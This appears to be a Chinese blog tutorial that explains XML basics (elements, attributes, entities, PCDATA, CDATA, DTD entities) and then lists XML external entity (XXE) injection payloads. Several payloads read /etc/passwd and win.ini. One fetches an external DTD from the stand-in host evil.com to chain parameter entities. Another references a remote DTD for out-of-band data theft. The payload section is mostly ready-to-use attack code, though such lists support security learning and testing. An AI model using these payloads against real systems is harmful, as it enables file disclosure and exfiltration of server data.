XML的小知识
1,元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
实例:
1 2
| <body>body text in between</body> <message>some message in between</message>
|
空的 HTML 元素的例子是 “hr”、”br” 以及 “img”。
2,属性
属性可提供有关元素的额外信息
实例:
1
| <img src="computer.gif" />
|
3,实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
4,PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
5,CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;
payLoad
payload1:
1 2 3
| <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]> <foo>&xxe;</foo>
|
payload2:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt"> ]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
|
payload3 Linux:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <aaa>&b;</aaa>
|
payload4 windows:
1 2 3
| <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
|
payload5 远程加载:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://evil.com/evil.dtd" > %one; %two; %four; ]>
|
1 2
| <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
|
1 2 3 4
| <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
|
https://xz.aliyun.com/t/3357